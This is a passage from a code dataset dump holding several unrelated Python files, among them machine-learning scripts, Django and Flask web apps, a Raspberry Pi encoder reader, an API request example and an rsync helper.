\"__main__\":\n unittest.main()\n","sub_path":"test_loggedin_search_on_homepage.py","file_name":"test_loggedin_search_on_homepage.py","file_ext":"py","file_size_in_byte":1582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"268099534","text":"# https://app.codesignal.com/arcade/intro/level-5/ZMR5n7vJbexnLrgaM\n\nimport numpy as np\n\n\ndef minesweeper_v1(matrix):\n res = []\n\n for row in range(len(matrix)):\n res.append([])\n for column in range(len(matrix[0])):\n val = -matrix[row][column]\n for x in [-1, 0, 1]:\n for y in [-1, 0, 1]:\n if 0 <= row + x < len(matrix) and 0 <= column + y < len(matrix[0]):\n val += matrix[row + x][column + y]\n\n res[row].append(val)\n return res\n\n\ndef minesweeper_v2(matrix):\n matrix = np.array(matrix, dtype=int)\n res = np.zeros((matrix.shape[0] + 2, matrix.shape[1] + 2))\n res[1:-1, 1:-1] = matrix\n res = res[:-2, :] + res[1:-1, :] + res[2:, :]\n res = res[:, :-2] + res[:, 1:-1] + res[:, 2:] - matrix\n return res.tolist()\n","sub_path":"intro/24_minesweeper.py","file_name":"24_minesweeper.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"181186789","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n# Learned the majority of sklearn, etc. from https://www.udemy.com/course/machinelearning/\n\nnp.random.seed(12345)\n\ndata = pd.read_csv(\"/home/christianluu/snake_ws/data/final_calib.csv\")\nx = data.iloc[:,-2:-1].values # x is the currents\ny = data.iloc[:,-1].values # y is efforts to be predicted\n\n\nfrom sklearn.model_selection import train_test_split\nx_train, x_test, y_train, y_test = train_test_split(x, y, test_size = 0.2) # test data is 20%\n\n# LINEAR REGRESSION\nfrom sklearn.linear_model import LinearRegression\nlin_regressor = LinearRegression()\nlin_regressor.fit(x_train, y_train)\n\ny_pred_lin = lin_regressor.predict(x_test)\n# print(\"linear regression\", np.average(y_test-y_pred_lin))\n\n# # Visualize Linear Regression\nplt.scatter(x_test, y_test, color = 'red')\nplt.plot(x_test, lin_regressor.predict(x_test), color = 'blue')\nplt.title('Linear Regression')\nplt.xlabel('Current')\nplt.ylabel('Effort')\n# plt.show()\n\n# POLYNOMIAL REGRESSION\nfrom sklearn.preprocessing import PolynomialFeatures\npoly_regressor = PolynomialFeatures(degree = 4)\nx_poly = poly_regressor.fit_transform(x_train)\npoly_regressor_2 = LinearRegression() # apply regression on degree 8 polynomial\npoly_regressor_2.fit(x_poly, y_train)\n\ny_pred_poly = poly_regressor_2.predict(poly_regressor.fit_transform(x_test))\n# print(\"poly regression\", np.average(y_test-y_pred_poly))\n\ny_pred_poly = poly_regressor_2.predict(poly_regressor.fit_transform([[0.5]]))\n# print(y_pred_poly)\n\n# Visualize Polynomial Regression\nplt.scatter(x_test, y_test, color = 'red')\nplt.plot(x_test, poly_regressor_2.predict(poly_regressor.fit_transform(x_test)), color = 'blue')\nplt.title('Polynomial Regression')\nplt.xlabel('Current')\nplt.ylabel('Effort')\n# plt.show()\n# print(\"xtest\" , x_test)\n\n\n\n# NEW DATA\ndata = pd.read_csv(\"/home/christianluu/snake_ws/data/module7.csv\")\nx = data.iloc[:,:-1].values # x is the currents\ny = data.iloc[:,-1].values # y is efforts to be predicted\n\nx_train, x_test, y_train, y_test = train_test_split(x, y, test_size = 0.2)\n\n# MULTIPLE LINEAR REGRESSION\nmulti_lin_regressor = LinearRegression()\nmulti_lin_regressor.fit(x_train, y_train)\n\ny_pred_multi_lin = multi_lin_regressor.predict(x_test)\n# print(\"multiple linear\", np.average(y_test-y_pred_multi_lin))\n\nx_test_last_col = np.transpose(x_test[:,-1])\n# print(\"x_testlastcol: \", x_test_last_col)\n# Visualize MULIPLE linear regression\nplt.scatter(x_test_last_col, y_test, color = 'red')\nplt.plot(x_test_last_col, multi_lin_regressor.predict(x_test), color = 'blue')\nplt.title('Multiple Linear Regression')\nplt.xlabel('Current')\nplt.ylabel('Effort (most recent value)')\n# plt.show()","sub_path":"src/snake_control/scripts/data_processing.py","file_name":"data_processing.py","file_ext":"py","file_size_in_byte":2678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"82544603","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('orders', '0018_auto_20170526_1802'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Subsubcategory',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('title', models.CharField(max_length=300, verbose_name='\\u041d\\u0430\\u0437\\u0432\\u0430\\u043d\\u0438\\u0435')),\n ('icon', models.ImageField(upload_to=b'images/icons', verbose_name=b'\\xd0\\x98\\xd0\\xba\\xd0\\xbe\\xd0\\xbd\\xd0\\xba\\xd0\\xb8', blank=True)),\n ('parent', models.ForeignKey(verbose_name='\\u0420\\u043e\\u0434\\u0438\\u0442\\u0435\\u043b\\u044c', to='orders.Subcategory')),\n ],\n options={\n 'verbose_name': '\\u041f\\u043e\\u0434\\u043f\\u043e\\u0434\\u043a\\u0430\\u0442\\u0435\\u0433\\u043e\\u0440\\u0438\\u0438',\n 'verbose_name_plural': '\\u041f\\u043e\\u0434\\u043f\\u043e\\u0434\\u043a\\u0430\\u0442\\u0435\\u0433\\u043e\\u0440\\u0438\\u044f',\n },\n ),\n migrations.AlterField(\n model_name='order',\n name='category',\n field=models.ForeignKey(default=1, verbose_name=b'\\xd0\\x9a\\xd0\\xb0\\xd1\\x82\\xd0\\xb5\\xd0\\xb3\\xd0\\xbe\\xd1\\x80\\xd0\\xb8\\xd1\\x8f', to='orders.Subsubcategory'),\n ),\n migrations.AlterField(\n model_name='sentence',\n name='category',\n field=models.ForeignKey(verbose_name=b'\\xd0\\x9a\\xd0\\xb0\\xd1\\x82\\xd0\\xb5\\xd0\\xb3\\xd0\\xbe\\xd1\\x80\\xd0\\xb8\\xd1\\x8f', to='orders.Subsubcategory'),\n ),\n ]\n","sub_path":"orders/migrations/0019_auto_20170531_1948.py","file_name":"0019_auto_20170531_1948.py","file_ext":"py","file_size_in_byte":1716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"179009468","text":"import requests\n\nurl = \"https://api.extremecloudiq.com/devices/location/\"\n\npayload=\"{\\\"devices\\\":{\\\"ids\\\":[***]},\\\"device_location\\\":{\\\"location_id\\\":***,\\\"x\\\":0,\\\"y\\\":0,\\\"latitude\\\":0,\\\"longitude\\\":0}}\"\nheaders = {\n 'accept': '*/*',\n 'Content-Type': 'application/json',\n 'Authorization': '***'\n}\n\nresponse = requests.request(\"POST\", url, headers=headers, data=payload)\n\nprint(response.text)\n","sub_path":"XIQ API Python collection/Device/Assign location to multiple devices.py","file_name":"Assign location to multiple devices.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"83261829","text":"\"\"\"Test a trained rejection model on the plugin network.\n\nThis script uses an already trained resnet-based architecture for predicting\nadditional error on the fine-grained classification task with partial evidence,\nas discussed by Koperski et al. in \"Plugin Networks for Inference under\nPartial Evidence.\" It tests when the seed is provided by a pretrained\nclassifier. The rejection model does not have the classifier component.\n\nExample:\n Similar to the instructions in the readme, test_rejection.py should be run\n from the workspace/sun397 folder. The command is:\n python ../../pluginnet/test_rejection.py output/[] --guess_weights []\n --rejection_weights []\n\"\"\"\nimport argparse\nimport os\nimport json\nimport torch\nfrom torchvision.models import resnet18\nimport wandb\nfrom pluginnet.sun397.testing import create_mode_pe as sun397_create_mode_pe\nfrom pluginnet.sun397.testing import create_mode_base as sun397_create_mode_base\nfrom get_target_tensor import reverse_target_tensor\n\n#pylint: disable=invalid-name, no-member\n\ntasks = {'sun397_pe': sun397_create_mode_pe, 'sun397': sun397_create_mode_base}\n\ndef load_conf(conf_file):\n \"\"\"Loads the JSON file.\n\n Args:\n conf_file: The path to the JSON config file.\n\n Returns:\n A dict containing the information from the JSON config file.\n \"\"\"\n with open(conf_file, 'r') as fd:\n conf = json.load(fd)\n return conf\n\ndef calc_auaer(scores, additional_errors, label):\n \"\"\"Calculates the area under the additional error risk curve.\n\n Args:\n scores: the scores on which to sort\n additional errors: the corresponding additional errors.\n\n Returns:\n The area under the additional error risk curve, as well as AER and\n coverage.\n \"\"\"\n\n # Sort the additional error\n sorted_ae = additional_errors[torch.argsort(scores)]\n\n # Run the calculation.\n au_aer = 0\n numerator = 0\n num_elements = scores.shape[0]\n\n coverages = []\n additional_error_risks = []\n for i in range(num_elements):\n coverage = (i+1) / num_elements\n coverages.append(coverage)\n\n numerator += sorted_ae[i]\n\n this_additional_error_risk = (numerator / num_elements)/coverage\n additional_error_risks.append(this_additional_error_risk.item())\n\n wandb.log(\n {\"coverage\":coverage, label+\"_aer\":this_additional_error_risk})\n\n au_aer += 1/num_elements * this_additional_error_risk\n\n return {'au_aer':au_aer, 'coverages':coverages,\\\n 'additional_error_risks':additional_error_risks}\n\ndef perform_test_model(task_model, rejection_model, guess_model,\\\n data_loader, device=\"cuda\"):\n \"\"\"Performs testing for the rejection model.\n\n Args:\n task_model: The model which does the fine-grained classification.\n rejection_model: The model which performs the rejection.\n guess_model: the model which produces the partial evidence.\n data_loader: The dataloader.\n device: run on cuda or cpu?\n\n Returns:\n The dict from calc_auaer, including auaer, and AER-coverage curve.\n \"\"\"\n # save scores and additional error\n scores = torch.zeros(0)\n additional_errors = torch.zeros(0)\n num_samples = 0\n coarse_correct = 0\n\n for _, (input_data, target) in enumerate(data_loader):\n # Move information to the device.\n evidence = input_data[0].to(device)\n image = input_data[1].to(device)\n target = target.to(device).argmax(dim=1)\n\n # Produce the guess model's output.\n guess_model_output = guess_model(image)[:, :7].argmax(dim=1)\n\n # and place in correct form\n guess_evidence = reverse_target_tensor(guess_model_output, device)\n\n # Track the accuracy of the coarse classifier\n coarse_correct += (guess_evidence == evidence).all(dim=1).float().sum()\n\n # Find gold standard answers\n guess_correct_evidence = task_model((evidence, image)).argmax(dim=1)\n correct_evidence_correct = (\n guess_correct_evidence == target).float()\n\n # Find answers with guessed evidence\n guess_guess_evidence = task_model((guess_evidence, image)).argmax(dim=1)\n guess_evidence_correct = (guess_guess_evidence == target).float()\n\n additional_error = torch.nn.functional.relu(\n correct_evidence_correct - guess_evidence_correct)\n\n # Perform a forward pass of the rejection model.\n rejection_model_output = torch.sigmoid(rejection_model(image)[:, :7])\n\n # and use only the relevant outputs.\n rejection_model_output = rejection_model_output[\n torch.arange(guess_model_output.shape[0]), guess_model_output]\n\n # Save information for the au-aer calc\n scores = torch.cat((scores, rejection_model_output.cpu()))\n additional_errors = torch.cat(\n (additional_errors, additional_error.cpu()))\n\n # Save loss information\n num_samples += additional_error.shape[0]\n\n auaer_dict = calc_auaer(scores, additional_errors, \"model\")\n auaer_dict['coarse_acc'] = coarse_correct/num_samples\n\n return auaer_dict\n\ndef main():\n \"\"\"Runs the training.\n\n Args:\n None\n\n Returns:\n None\n \"\"\"\n parser = argparse.ArgumentParser(\n description='Test a rejection model.')\n parser.add_argument('--model_dir')\n parser.add_argument('-w', '--workers', default=4, type=int, metavar='N',\n help='number of data loading workers (default: 4)')\n parser.add_argument('-b', '--batch-size', default=64, type=int,\n metavar='N', help='mini-batch size')\n parser.add_argument('--guess_weights', required=True, type=str)\n parser.add_argument('--rejection_weights', required=True, type=str)\n parser.add_argument('--coarse_idx', required=False, type=int, default=-1)\n parser.add_argument('--important_only', type=str, default=\"False\",\\\n help=\"Only train on examples where there is\"\\\n \"additional error.\")\n args = parser.parse_args()\n\n # Unfortunately, have to do this for the gridsearch.\n args.important_only = (\n args.important_only[0] == \"T\" or args.important_only[0] == \"t\")\n # Setup\n # Set the device.\n device = 'cpu'\n if torch.cuda.is_available():\n device = 'cuda'\n # This is mostly from the original codebase.\n conf = load_conf(os.path.join(args.model_dir, 'conf.json'))\n conf['split'] = \"test\"\n conf['base_model_file'] = os.path.join(\n args.model_dir, 'model_best_state_dict.pth.tar')\n test_set, task_model, _, _ = tasks[conf['task']](conf)\n # Move the network to the device.\n task_model = task_model.eval().to(device)\n\n test_loader = torch.utils.data.DataLoader(\n test_set, batch_size=args.batch_size, shuffle=False,\\\n num_workers=args.workers, pin_memory=torch.cuda.is_available(),\\\n drop_last=False)\n\n # Initialize the rejection model.\n rejection_model = resnet18(pretrained=False).cuda()\n rejection_model.load_state_dict(torch.load(args.rejection_weights))\n rejection_model.eval().to(device)\n\n # Initialize the guess model.\n guess_model = resnet18(pretrained=False).cuda()\n guess_model.load_state_dict(torch.load(args.guess_weights))\n guess_model.eval().to(device)\n\n # initialize wandb\n wandb.init(project=\"gtd-hsc\", config=args.__dict__,)\n\n with torch.no_grad():\n # Trained Rejection Model\n model_return = perform_test_model(\n task_model, rejection_model, guess_model, test_loader,\\\n device=device)\n print(\"Trained Rejection Model: \")\n print(model_return['au_aer'])\n print(\"---\")\n\n wandb.log({'Trained': model_return['au_aer']})\n\nif __name__ == '__main__':\n main()\n","sub_path":"hsc/pluginnet/test_rejection_no_classifier.py","file_name":"test_rejection_no_classifier.py","file_ext":"py","file_size_in_byte":7808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"428617264","text":"import RPi.GPIO as GPIO\nimport time\nGPIO.setmode(GPIO.BCM)\n\ninput_A = 18\ninput_B = 23\n\ninput_C = 17\ninput_D = 22\n\nGPIO.setup(input_A, GPIO.IN, pull_up_down=GPIO.PUD_UP)\nGPIO.setup(input_B, GPIO.IN, pull_up_down=GPIO.PUD_UP)\n\nGPIO.setup(input_C, GPIO.IN, pull_up_down=GPIO.PUD_UP)\nGPIO.setup(input_D, GPIO.IN, pull_up_down=GPIO.PUD_UP)\n\nold_a = True\nold_b = True\n\nold_c = True\nold_d = True\n\ncur_L = 0\ncur_R = 0\n\ndef getEncoder():\n\t# gets the current encoder values from both sides\n\t# values are stored in global 'resultL' and 'resultR'\n\t# raw data saved\n\tglobal old_a, old_b, old_c, old_d\n\tglobal cur_L, cur_R\n\tresultL = 0\n\tresultR = 0\n\t\n\tnew_a = GPIO.input(input_A)\n\tnew_b = GPIO.input(input_B)\n\tnew_c = GPIO.input(input_C)\n\tnew_d = GPIO.input(input_D)\n\t\n\tif new_a != old_a or new_b != old_b :\n\t\tif old_a == 0 and new_a == 1 :\n\t\t\tresultL = (old_b * 2 - 1)\n\t\telif old_b == 0 and new_b == 0:\n\t\t\tresultL = -(old_b * 2 - 1)\n\told_a, old_b = new_a, new_b\n\t\n\tif new_c != old_c or new_d != old_d :\n\t\tif old_c == 0 and new_c == 1 :\n\t\t\tresultR = (old_d * 2 - 1)\n\t\telif old_d == 0 and new_d == 0:\n\t\t\tresultR = -(old_d * 2 - 1)\n\told_c, old_d = new_c, new_d\n\t\n\tif resultL != 0 :\n\t\tcur_L = cur_L + resultL\n\t\t\n\tif resultR != 0 :\n\t\tcur_R = cur_R - resultR\n\t\t # result inverted in code to accomodate wiring scheme\n\n\ttime.sleep(0.001)\n\nwhile True:\n\tgetEncoder()\n\tprint(str(cur_L) + \" \" + str(cur_R))\n\n","sub_path":"RaspberryPiCode/RobotDualEncoder.py","file_name":"RobotDualEncoder.py","file_ext":"py","file_size_in_byte":1383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"295997888","text":"\"\"\" Opentavern Views\"\"\"\nfrom django.utils import timezone\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.shortcuts import render, redirect\nfrom django.views.generic.edit import UpdateView\nfrom django.contrib.auth.decorators import login_required\nfrom django.core.urlresolvers import reverse\n\nimport json\n\nfrom .models import TavernGroup, Member, Event, Attendee\nfrom .forms import CreateGroupForm, CreateEventForm\n\n\ndef today_date():\n today_object = timezone.now()\n today = today_object.isoformat()\n return today\n\n\ndef index(request, template='home.html'):\n \"\"\" index page \"\"\"\n if request.user.is_authenticated():\n groups = request.user.taverngroup_set.all()\n upcoming_events = Event.objects.filter(starts_at__gt=today_date())\n events_rsvped = Attendee.objects.filter(user_id=request.user.id)\n\n context = {'groups': groups,\n 'upcoming_events': upcoming_events,\n 'events_rsvped': events_rsvped}\n else:\n groups = TavernGroup.objects.all()\n context = {'groups': groups}\n return render(request, template, context)\n\n\ndef group_details(request, slug):\n \"\"\" Group Details Page\"\"\"\n template = \"group_details.html\"\n upcoming_events = Event.objects.filter(starts_at__gt=today_date())\n past_events = Event.objects.filter(starts_at__lt=today_date())\n context = {'upcoming_events': upcoming_events, 'past_events': past_events}\n try:\n recent_group_members = Member.objects.filter(\n tavern_group=TavernGroup.objects.get(slug=slug)\n ).order_by('-join_date')[:5]\n except ObjectDoesNotExist:\n return render(request, '404.html', context)\n\n context.update({\"recent_group_members\": recent_group_members})\n\n try:\n group = TavernGroup.objects.get(slug=slug)\n context.update({'group': group})\n except ObjectDoesNotExist:\n return render(request, '404.html', context)\n\n return render(request, template, context)\n\n\ndef event_details(request, slug):\n \"\"\" Event Details View \"\"\"\n template = \"event_details.html\"\n upcoming_events = Event.objects.filter(starts_at__gt=today_date())\n event_attendees = Attendee.objects.filter(event__slug=slug,\n rsvp_status=\"yes\")\n context = {\"upcoming_events\": upcoming_events,\n \"event_attendees\": event_attendees}\n try:\n event = Event.objects.get(slug=slug)\n context.update({'event': event})\n except ObjectDoesNotExist:\n return render(request, '404.html', context)\n\n return render(request, template, context)\n\n\ndef rsvp(request, event_id, rsvp_status):\n \"\"\" View to set RSVP status for an event \"\"\"\n attendee = Attendee.objects.get_or_create(user__id=request.user.id,\n event__id=event_id)\n attendee.rsvp_status = rsvp_status\n attendee.rsvped_on = timezone.now()\n attendee.save()\n\n message = 'Successfully Chaged your RSVP status. '\n if rsvp_status == 'yes':\n message += \"You are attending this event.\"\n elif rsvp_status == 'no':\n message += \"You are not attending this event.\"\n elif rsvp_status == 'maybe':\n message += \"You may attend this event.\"\n\n response = {'message': message}\n return json.dumps(response)\n\n\n@login_required\ndef create_group(request, template='create_group.html'):\n # pylint: disable=E1103\n \"\"\" index page \"\"\"\n form = CreateGroupForm()\n if request.method == 'POST':\n form = CreateGroupForm(request.POST)\n if form.is_valid():\n group = form.save(commit=False)\n group.creator = request.user\n group.save()\n Member.objects.create(user=request.user,\n tavern_group=group,\n join_date=today_date())\n return redirect(\"tavern_group_details\", slug=group.slug)\n\n context = {'form': form}\n return render(request, template, context)\n\n\nclass GroupUpdate(UpdateView):\n model = TavernGroup\n form_class = CreateGroupForm\n template_name = 'tavern_group_update.html'\n\ntavern_group_update = GroupUpdate.as_view()\n\n\n@login_required\ndef create_event(request, template='create_event.html'):\n # pylint: disable=E1103\n form = CreateEventForm()\n if request.method == 'POST':\n form = CreateEventForm(request.POST)\n if form.is_valid():\n event = form.save(commit=False)\n event.creator = request.user\n event.save()\n return redirect(reverse(\"tavern_event_details\",\n kwargs={'slug': event.slug}))\n\n context = {'form': form}\n return render(request, template, context)\n\n\nclass EventUpdate(UpdateView):\n model = Event\n form_class = CreateEventForm\n template_name = 'tavern_event_update.html'\n\ntavern_event_update = EventUpdate.as_view()\n","sub_path":"tavern/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"150484310","text":"#\n# Copyright 2019 The FATE Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nimport time\n\nimport numpy as np\nimport tensorflow as tf\nfrom sklearn.metrics import precision_recall_fscore_support\n\nfrom arch.api.eggroll import init\nfrom federatedml.ftl.autoencoder import Autoencoder\nfrom federatedml.ftl.data_util.common_data_util import series_plot, split_data_combined\nfrom federatedml.ftl.data_util.uci_credit_card_util import load_UCI_Credit_Card_data\nfrom federatedml.ftl.OT_encrypted_ftl import OTEncryptedFTLHostModel, OTEncryptedFTLGuestModel, \\\n LocalOTFederatedTransferLearning\nfrom federatedml.ftl.test.mock_models import MockFTLModelParam\nfrom federatedml.secureprotol.encrypt import PaillierEncrypt\n\n\nif __name__ == '__main__':\n\n init()\n infile = \"../data/UCI_Credit_Card.csv\"\n X, y = load_UCI_Credit_Card_data(infile=infile, balanced=True)\n\n X = X[:500]\n y = y[:500]\n\n X_A, y_A, X_B, y_B, overlap_indexes = split_data_combined(X, y,\n overlap_ratio=0.1,\n ab_split_ratio=0.1,\n n_feature_b=23)\n\n valid_ratio = 0.3\n non_overlap_indexes = np.setdiff1d(range(X_B.shape[0]), overlap_indexes)\n validate_indexes = non_overlap_indexes[:int(valid_ratio * len(non_overlap_indexes))]\n test_indexes = non_overlap_indexes[int(valid_ratio*len(non_overlap_indexes)):]\n x_B_valid = X_B[validate_indexes]\n y_B_valid = y_B[validate_indexes]\n x_B_test = X_B[test_indexes]\n y_B_test = y_B[test_indexes]\n\n print(\"X_A shape\", X_A.shape)\n print(\"y_A shape\", y_A.shape)\n print(\"X_B shape\", X_B.shape)\n print(\"y_B shape\", y_B.shape)\n\n print(\"overlap_indexes len\", len(overlap_indexes))\n print(\"non_overlap_indexes len\", len(non_overlap_indexes))\n print(\"validate_indexes len\", len(validate_indexes))\n print(\"test_indexes len\", len(test_indexes))\n\n print(\"################################ Build Federated Models ############################\")\n\n tf.reset_default_graph()\n\n autoencoder_A = Autoencoder(1)\n autoencoder_B = Autoencoder(2)\n\n autoencoder_A.build(X_A.shape[-1], 32, learning_rate=0.01)\n autoencoder_B.build(X_B.shape[-1], 32, learning_rate=0.01)\n\n # paillierEncrypt = PaillierEncrypt()\n # paillierEncrypt.generate_key()\n # publickey = paillierEncrypt.get_public_key()\n # privatekey = paillierEncrypt.get_privacy_key()\n\n fake_model_param = MockFTLModelParam(alpha=100)\n partyA = OTEncryptedFTLGuestModel(autoencoder_A, fake_model_param)\n partyB = OTEncryptedFTLHostModel(autoencoder_B, fake_model_param)\n\n federatedLearning = LocalOTFederatedTransferLearning(partyA, partyB)\n\n print(\"################################ Train Federated Models ############################\")\n start_time = time.time()\n epochs = 2\n init = tf.global_variables_initializer()\n with tf.Session() as sess:\n autoencoder_A.set_session(sess)\n autoencoder_B.set_session(sess)\n\n sess.run(init)\n losses = []\n fscores = []\n aucs = []\n for ep in range(epochs):\n loss = federatedLearning.fit(0, X_A, X_B, y_A, overlap_indexes, non_overlap_indexes)\n losses.append(loss)\n\n if ep % 1 == 0:\n print(\"ep\", ep, \"loss\", loss)\n y_pred = federatedLearning.predict(x_B_test)\n y_pred_label = []\n pos_count = 0\n neg_count = 0\n for _y in y_pred:\n if _y <= 0.5:\n neg_count += 1\n y_pred_label.append(-1)\n else:\n pos_count += 1\n y_pred_label.append(1)\n y_pred_label = np.array(y_pred_label)\n print(\"neg:\", neg_count, \"pos:\", pos_count)\n precision, recall, fscore, _ = precision_recall_fscore_support(y_B_test, y_pred_label, average=\"weighted\")\n fscores.append(fscore)\n print(\"fscore:\", fscore)\n # auc = roc_auc_score(y_B_test, y_pred, average=\"weighted\")\n # aucs.append(auc)\n\n end_time = time.time()\n series_plot(losses, fscores, aucs)\n print(\"running time\", end_time - start_time)\n\n","sub_path":"functional_OT_msg_party_test.py","file_name":"functional_OT_msg_party_test.py","file_ext":"py","file_size_in_byte":4901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"329211339","text":"from flask import Flask, request, render_template\n\nimport hackbright\n\napp = Flask(__name__)\n\n\n@app.route(\"/student\")\ndef get_student():\n \"\"\"Show information about a student.\"\"\"\n\n github = request.args.get('github', 'jhacks')\n first, last, github = hackbright.get_student_by_github(github)\n # return \"%s is the GitHub account for %s %s\" % (github, first, last)\n project_grades = hackbright.get_grades_by_github(github)\n\n html = render_template(\"student_info.html\", \n first=first,\n last=last,\n github=github,\n grades=project_grades)\n return html\n\n@app.route(\"/student-search\")\ndef get_student_form():\n \"\"\"Display student search form\"\"\"\n return render_template(\"student_search.html\")\n\n@app.route(\"/newstudent\")\ndef show_add_form():\n \"\"\"Display add student form\"\"\"\n return render_template(\"student_add.html\")\n\n@app.route(\"/student-add\", methods=['POST'])\ndef student_add():\n \"\"\"Add student to Students database and show user student had\n been added\"\"\"\n first_name = request.form.get('first-name')\n last_name = request.form.get('last-name')\n github = request.form.get('github')\n\n hackbright.make_new_student(first_name, last_name, github)\n\n return render_template(\"added_student.html\", \n first=first_name, last=last_name, github=github)\n@app.route(\"/project\")\ndef get_project():\n first_last_grade_github = []\n proj_title = request.args.get('projtitle')\n title, description, max_grade = hackbright.get_project_by_title(proj_title)\n githubs_and_grades = hackbright.get_grades_by_title(title)\n # first_name, last_name, github = get_student_by_github(github)\n for item in githubs_and_grades:\n first_name, last_name, github = hackbright.get_student_by_github(item[0])\n first_last_grade_github.append((first_name, last_name, item[1], github))\n return render_template(\"project_info.html\",\n title=title,\n description=description,\n max_grade=max_grade,\n first_last_grade_github=first_last_grade_github)\nif __name__ == \"__main__\":\n hackbright.connect_to_db(app)\n app.run(debug=True)\n","sub_path":"hackbright-web.py","file_name":"hackbright-web.py","file_ext":"py","file_size_in_byte":2305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"631971443","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2020/9/5 11:23\n# @File : p12_plot.py\n\n\nimport pandas as pd\nimport numpy as np\n\ndates = pd.date_range('20200101', periods=12)\ndf = pd.DataFrame(np.random.randn(12, 4), index=dates, columns=list('ABCD'))\nprint(df)\n\nimport matplotlib.pyplot as plt\n\nplt.plot(df.index, df['A'], )\nplt.show()\nplt.plot(df.index, df['A'],\n color='#FFAA00', # 颜色\n linestyle='--', # 线条样式\n linewidth=3, # 线条宽度\n marker='D' # 点标记\n )\nplt.show()\n\n# seaborn其实是在matlabplotlib的基础上进行了更高级的API封装,从而使绘图更容易、更美观\nimport seaborn as sns\n\n# 绘制散点图\nplt.scatter(df.index, df['A'])\nplt.show()\n\n# 美化plt\nsns.set_style('darkgrid')\nplt.scatter(df.index, df['A'])\nplt.show()\n","sub_path":"fourWeek/1pandas/p12_plot.py","file_name":"p12_plot.py","file_ext":"py","file_size_in_byte":828,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"248553330","text":"import os\nimport tqdm\n\n\nclass RsyncException(Exception):\n \"\"\"\"\"\"\n\n\nclass RsyncUtils:\n\n @staticmethod\n def make_rsync_file(data, rsync_file='./tmp_rsync_file'):\n \"\"\"\n\n Args:\n data: frames_dir or videos\n rsync_file:\n\n Returns:\n\n \"\"\"\n s = ''\n for x in data:\n s += x + '\\n'\n with open(rsync_file, 'w') as f:\n f.write(s)\n return rsync_file\n\n @classmethod\n def download(cls, data, start='/', dst=None, usr=None, ip=None, aftercheck=False):\n rsync_file = cls.make_rsync_file(data)\n\n query = \"rsync \" \\\n \"-rtl \" \\\n \"--files-from={rsync_file} \" \\\n \"{usr}@{ip}:{start} \" \\\n \"{dst}\".format(\n rsync_file=rsync_file,\n usr=usr,\n ip=ip,\n start=start,\n dst=dst,\n )\n result = os.system(query)\n if result != 0:\n os.remove(rsync_file)\n raise RsyncException\n os.remove(rsync_file)\n\n if aftercheck:\n print('Checking downloaded files and dirs')\n for x in tqdm(data, total=len(data)):\n x = os.path.join(dst, x)\n assert os.path.isdir(x) or os.path.isfile(x), x\n","sub_path":"mscdiploma/utils/rsync.py","file_name":"rsync.py","file_ext":"py","file_size_in_byte":1290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"622062649","text":"# Copyright (c) 2015, Ecole Polytechnique Federale de Lausanne, Blue Brain Project\n# All rights reserved.\n#\n# This file is part of NeuroM \n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n# 2. Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in the\n# documentation and/or other materials provided with the distribution.\n# 3. Neither the name of the copyright holder nor the names of\n# its contributors may be used to endorse or promote products\n# derived from this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY\n# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN 